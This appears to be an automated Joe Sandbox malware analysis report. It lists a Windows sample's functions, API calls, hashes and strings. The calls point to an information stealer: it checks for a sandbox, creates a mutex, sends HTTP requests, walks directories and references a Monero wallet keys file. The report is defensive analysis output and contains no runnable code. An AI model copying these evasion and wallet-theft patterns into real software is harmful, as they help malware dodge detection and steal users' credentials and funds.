Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$T
API String ID: 1544550907-4263779954
Opcode ID: a1725f09d0e15450bab67453e246fce0abf79b933d596b82f37bea402dd4a69e
Instruction ID: 11c3dc0d0469a87398f81c829cb48bbbe764004bc555cdb179d749079ae5d0d0
Opcode Fuzzy Hash: a1725f09d0e15450bab67453e246fce0abf79b933d596b82f37bea402dd4a69e
Instruction Fuzzy Hash: BB4171B1D04348ABDB14DB94DC55BEEBBB8BB48700F104599F50967280D7786A44CFA5

Function 005369F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00539860: GetProcAddress.KERNEL32(74DD0000,00F12BA0), ref: 005398A1
Part of subcall function 00539860: GetProcAddress.KERNEL32(74DD0000,00F12CA8), ref: 005398BA
Part of subcall function 00539860: GetProcAddress.KERNEL32(74DD0000,00F12CC0), ref: 005398D2
Part of subcall function 00539860: GetProcAddress.KERNEL32(74DD0000,00F12B10), ref: 005398EA
Part of subcall function 00539860: GetProcAddress.KERNEL32(74DD0000,00F12C60), ref: 00539903
Part of subcall function 00539860: GetProcAddress.KERNEL32(74DD0000,00F19780), ref: 0053991B
Part of subcall function 00539860: GetProcAddress.KERNEL32(74DD0000,00F05C70), ref: 00539933
Part of subcall function 00539860: GetProcAddress.KERNEL32(74DD0000,00F05CB0), ref: 0053994C
Part of subcall function 00539860: GetProcAddress.KERNEL32(74DD0000,00F12A80), ref: 00539964
Part of subcall function 00539860: GetProcAddress.KERNEL32(74DD0000,00F12A98), ref: 0053997C
Part of subcall function 00539860: GetProcAddress.KERNEL32(74DD0000,00F12AE0), ref: 00539995
Part of subcall function 00539860: GetProcAddress.KERNEL32(74DD0000,00F12CD8), ref: 005399AD
Part of subcall function 00539860: GetProcAddress.KERNEL32(74DD0000,00F05CF0), ref: 005399C5
Part of subcall function 00539860: GetProcAddress.KERNEL32(74DD0000,00F12C78), ref: 005399DE

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 005211D0: ExitProcess.KERNEL32 ref: 00521211

Part of subcall function 00521160: GetSystemInfo.KERNEL32(?), ref: 0052116A
Part of subcall function 00521160: ExitProcess.KERNEL32 ref: 0052117E

Part of subcall function 00521110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0052112B
Part of subcall function 00521110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00521132
Part of subcall function 00521110: ExitProcess.KERNEL32 ref: 00521143

Part of subcall function 00521220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0052123E
Part of subcall function 00521220: __aulldiv.LIBCMT ref: 00521258
Part of subcall function 00521220: __aulldiv.LIBCMT ref: 00521266
Part of subcall function 00521220: ExitProcess.KERNEL32 ref: 00521294

Part of subcall function 00536770: GetUserDefaultLangID.KERNEL32 ref: 00536774

Part of subcall function 00521190: ExitProcess.KERNEL32 ref: 005211C6

Part of subcall function 00537850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005211B7), ref: 00537880
Part of subcall function 00537850: RtlAllocateHeap.NTDLL(00000000), ref: 00537887
Part of subcall function 00537850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0053789F

Part of subcall function 005378E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00537910
Part of subcall function 005378E0: RtlAllocateHeap.NTDLL(00000000), ref: 00537917
Part of subcall function 005378E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0053792F

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,00F199F0,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00F19720,?,0054110C,?,00000000,?,00541110,?,00000000,00540AEF), ref: 00536ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00536AE8
CloseHandle.KERNEL32(00000000), ref: 00536AF9
Sleep.KERNEL32(00001770), ref: 00536B04
CloseHandle.KERNEL32(?,00000000,?,00F19720,?,0054110C,?,00000000,?,00541110,?,00000000,00540AEF), ref: 00536B1A
ExitProcess.KERNEL32 ref: 00536B22

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 428cb0ff89ada3efd0e3dbd7b40060360e7bf2c1a6eefc52e23ac653edbcd965
Instruction ID: ad38c0991aea8f0dd6b7a1847d2a5cabf32eb2edf304fe3d377bf1fa607b1e95
Opcode Fuzzy Hash: 428cb0ff89ada3efd0e3dbd7b40060360e7bf2c1a6eefc52e23ac653edbcd965
Instruction Fuzzy Hash: 9D31CD7190421ABADB04F7F0DC5ABEEBF78BF94340F108518F252B6191DF746905CAA6

Function 00521220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0052123E
__aulldiv.LIBCMT ref: 00521258
__aulldiv.LIBCMT ref: 00521266
ExitProcess.KERNEL32 ref: 00521294

Strings

@, xrefs: 00521233

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 83fb8dc7434d58a6364c3188a0d1318c4fa57fab9bc876e1b3dd737c2a4c94c4
Instruction ID: 2ca952180b0953edd14b8241d28bab7b06e0f56fbd47bc7d15ab3b23f2db1b85
Opcode Fuzzy Hash: 83fb8dc7434d58a6364c3188a0d1318c4fa57fab9bc876e1b3dd737c2a4c94c4
Instruction Fuzzy Hash: 3F014BB0944308FAEB10DBE0EC49BAEBB78BF54701F248048F606B62C0D6B465418BAD

Function 00536AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00F19720,?,0054110C,?,00000000,?,00541110,?,00000000,00540AEF), ref: 00536ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00536AE8
CloseHandle.KERNEL32(00000000), ref: 00536AF9
Sleep.KERNEL32(00001770), ref: 00536B04
CloseHandle.KERNEL32(?,00000000,?,00F19720,?,0054110C,?,00000000,?,00541110,?,00000000,00540AEF), ref: 00536B1A
ExitProcess.KERNEL32 ref: 00536B22

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 23b143669540a31d1878a07588bcc63ec6e1b12d92e644be83e0a97fc93aa66f
Instruction ID: d8d0be18c76f2d67e9fa6a7ba99532c999f5e0c4a911e900d8c6833629b02715
Opcode Fuzzy Hash: 23b143669540a31d1878a07588bcc63ec6e1b12d92e644be83e0a97fc93aa66f
Instruction Fuzzy Hash: 4FF0DA7094031AFAE710ABA0DC2ABBDBF74FB44701F10C918F513B5191DBF45540DA6A

Function 005247B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00524839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00524849

Strings

<, xrefs: 005247C9

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 47ed21ff943519daa283c63f636a2069a2d8c2893a3e8d988e295c42cd126978
Instruction ID: f55206db7f9ce5b2df12a97c1d7ed32acb7865c198243f47cade5f5c50182ccc
Opcode Fuzzy Hash: 47ed21ff943519daa283c63f636a2069a2d8c2893a3e8d988e295c42cd126978
Instruction Fuzzy Hash: 93213BB1D00209ABDF14DFA4E849ADE7B75FB45320F108625F969A72C1EB706A09CF81

Function 005351F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Part of subcall function 00526280: InternetOpenA.WININET(00540DFE,00000001,00000000,00000000,00000000), ref: 005262E1
Part of subcall function 00526280: StrCmpCA.SHLWAPI(?,00F1E748), ref: 00526303
Part of subcall function 00526280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00526335
Part of subcall function 00526280: HttpOpenRequestA.WININET(00000000,GET,?,00F1DF48,00000000,00000000,00400100,00000000), ref: 00526385
Part of subcall function 00526280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005263BF
Part of subcall function 00526280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005263D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00535228

Strings

ERROR, xrefs: 00535273
ERROR, xrefs: 0053521A

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: db0b732f3470ce601eb5de66cdde40e036f3eae5deb3f9b3e748f0753bf286e8
Instruction ID: c0e4df16c99c9a7b783ebb6cab1229c0e067e5e9df9333d62b0893f010e242fa
Opcode Fuzzy Hash: db0b732f3470ce601eb5de66cdde40e036f3eae5deb3f9b3e748f0753bf286e8
Instruction Fuzzy Hash: 0E113030910549BBCB14FF74DD9AAED7B38BF90300F404558F84A5B192EF30AB05CA91

Function 005378E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00537910
RtlAllocateHeap.NTDLL(00000000), ref: 00537917
GetComputerNameA.KERNEL32(?,00000104), ref: 0053792F

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: dc8e632ac10c72332e8558f8365eb1a9f943e38044b67fb378dd3a4f2780b799
Instruction ID: 316e02312ff8bd2e43fec3dec8879bc7407bb5a358625507023b073c8d2d7c57
Opcode Fuzzy Hash: dc8e632ac10c72332e8558f8365eb1a9f943e38044b67fb378dd3a4f2780b799
Instruction Fuzzy Hash: 8E0186B1904309EBCB10DF95DD45BAABFB8F704B21F104219FA45E7280C37859008FA5

Function 00521110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0052112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00521132
ExitProcess.KERNEL32 ref: 00521143

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 551d70e11549fc5251d2b93311ef721d424c83314b6abbed607133bb6a83d475
Instruction ID: 97862873d78c811323761b92426d64e85ddd1355493c06392983e09941c8dcc8
Opcode Fuzzy Hash: 551d70e11549fc5251d2b93311ef721d424c83314b6abbed607133bb6a83d475
Instruction Fuzzy Hash: 28E0E670945309FBE7106BA0AC0EB097A78BF05B01F104054F709775D0D6F926409B9D

Function 005210A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 005210B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 005210F7

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 533319df9c7f7da9de5c1e1ec15b5ec1f80dc4cde8e5a2c8703dcd780dc9ee2c
Instruction ID: 52fae7cd99a171404b202a574ecbb8f4a59876784560956302d1d11a41b3cc41
Opcode Fuzzy Hash: 533319df9c7f7da9de5c1e1ec15b5ec1f80dc4cde8e5a2c8703dcd780dc9ee2c
Instruction Fuzzy Hash: 2DF0E272641318BBE7149AA4AC4DFBBBBE8E706B15F305448F505E3280D572AF00CAA8

Function 00521190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 005378E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00537910
Part of subcall function 005378E0: RtlAllocateHeap.NTDLL(00000000), ref: 00537917
Part of subcall function 005378E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0053792F

Part of subcall function 00537850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005211B7), ref: 00537880
Part of subcall function 00537850: RtlAllocateHeap.NTDLL(00000000), ref: 00537887
Part of subcall function 00537850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0053789F

ExitProcess.KERNEL32 ref: 005211C6

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: d7e9ac0668a1b1abcf7f8e7e51f9be31a37a6c636abdb0f35d8e6b8cde3223bf
Instruction ID: f014225d17d6d94034bd4da2b7ff2b0c0b005c0336538f1a46cbb03bc852cc8b
Opcode Fuzzy Hash: d7e9ac0668a1b1abcf7f8e7e51f9be31a37a6c636abdb0f35d8e6b8cde3223bf
Instruction Fuzzy Hash: 78E012B6D1430B63CA1473F4BC0EB2B3B9C7B65355F044425FA06E2552FAA9F810C96E

Non-executed Functions

Function 005338B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005338CC
FindFirstFileA.KERNEL32(?,?), ref: 005338E3
lstrcat.KERNEL32(?,?), ref: 00533935
StrCmpCA.SHLWAPI(?,00540F70), ref: 00533947
StrCmpCA.SHLWAPI(?,00540F74), ref: 0053395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00533C67
FindClose.KERNEL32(000000FF), ref: 00533C7C

Strings

%s\%s\%s, xrefs: 00533A4A
%s%s, xrefs: 00533AAD
%s\%s, xrefs: 00533A6F
%s\%s, xrefs: 0053397A
%s\*, xrefs: 005338C0

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
